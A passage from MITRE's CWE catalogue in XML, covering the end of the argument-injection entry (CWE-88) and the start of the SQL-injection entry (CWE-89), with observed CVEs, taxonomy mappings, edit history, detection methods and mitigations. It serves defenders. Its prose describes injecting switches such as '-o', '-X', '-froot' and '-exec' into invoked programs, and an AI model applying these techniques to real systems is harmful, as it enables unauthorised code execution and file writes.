	      <Intro_Text>CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer.</Intro_Text>
	      <Body_Text>The program calls PHP's mail() function to compose and send mail. The fifth argument to mail() is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250].</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-36069</Reference>
               <Description>Python-based dependency management tool avoids OS command injection  when generating Git commands but allows  injection of optional arguments with input beginning with a dash, potentially allowing for code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-36069</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0113</Reference>
               <Description>Canonical Example - "-froot" argument is passed on to another program, where the "-f" causes execution as user "root"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0113</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0150</Reference>
               <Description>Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0150</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0667</Reference>
               <Description>Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0667</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0985</Reference>
               <Description>Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0985</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0907</Reference>
               <Description>Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0907</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0121</Reference>
               <Description>Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0121</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0473</Reference>
               <Description>Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0473</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0480</Reference>
               <Description>Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0480</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0489</Reference>
               <Description>SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0489</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0411</Reference>
               <Description>Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0411</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4699</Reference>
               <Description>Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4699</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-1865</Reference>
               <Description>Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1865</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2056</Reference>
               <Description>Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2056</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2057</Reference>
               <Description>Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2057</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2058</Reference>
               <Description>Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2058</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2312</Reference>
               <Description>Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2312</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3015</Reference>
               <Description>Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3015</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4692</Reference>
               <Description>Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4692</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6597</Reference>
               <Description>Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6597</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0882</Reference>
               <Description>Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0882</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1246</Reference>
               <Description>Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1246</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-13475</Reference>
               <Description>Argument injection allows execution of arbitrary commands by injecting a "-exec" option, which is executed by the command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-13475</Link>
            </Observed_Example>
			<Observed_Example>
			  <Reference>CVE-2016-10033</Reference>
			  <Description>Argument injection in mail-processing function allows writing unxpected files and executing programs using tecnically-valid email addresses that insert "-o" and "-X" switches.</Description>
			  <Link>https://www.cve.org/CVERecord?id=CVE-2016-10033</Link>
			</Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Argument Injection or Modification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV03-C</Entry_ID>
               <Entry_Name>Sanitize the environment when invoking external programs</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV33-C</Entry_ID>
               <Entry_Name>Do not call system()</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR02-C</Entry_ID>
               <Entry_Name>Sanitize data passed to complex subsystems</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>30</Entry_ID>
               <Entry_Name>Mail Command Injection</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="137"/>
            <Related_Attack_Pattern CAPEC_ID="174"/>
            <Related_Attack_Pattern CAPEC_ID="41"/>
            <Related_Attack_Pattern CAPEC_ID="460"/>
            <Related_Attack_Pattern CAPEC_ID="88"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-859"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 10, &#34;The Argument Array&#34;, Page 567"/>
            <Reference External_Reference_ID="REF-1030"/>
            <Reference External_Reference_ID="REF-1249"/>
            <Reference External_Reference_ID="REF-1250"/>
         </References>
         <Notes>
            <Note Type="Relationship">At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Description, Name, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-23</Modification_Date>
					<Modification_Comment>updated Description, Name, Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
			<Contribution Type="Feedback">
			  <Contribution_Name>Anonymous External Contributor</Contribution_Name>
			  <Contribution_Date>2021-05-28</Contribution_Date>
			  <Contribution_Comment>Identified inappropriate demonstrative example, suggested new observed example, applicable language.</Contribution_Comment>
			</Contribution>
			<Previous_Entry_Name Date="2019-09-19">Argument Injection or Modification</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-09-23">Improper Delimitation of Arguments in a Command ('Argument Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="89" Name="Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.</xhtml:p>
            <xhtml:p>SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or product package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="943" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Database Server" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
	    <Introduction>
               <Phase>Implementation</Phase>
               <Note>This weakness typically appears in data-rich applications that save user inputs in a database.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.</xhtml:p>
                  <xhtml:p>Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.</xhtml:p>
               </Description>
               <Effectiveness_Notes>This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-9">
               <Method>Manual Analysis</Method>
               <Description>Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-27">
               <Phase>Architecture and Design</Phase>
               <Strategy>Parameterization</Strategy>
               <Description>
                  <xhtml:p>If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.</xhtml:p>
                  <xhtml:p>Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>
                  <xhtml:p>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</xhtml:p>
                  <xhtml:p>Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</xhtml:p>
                  <xhtml:p>Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
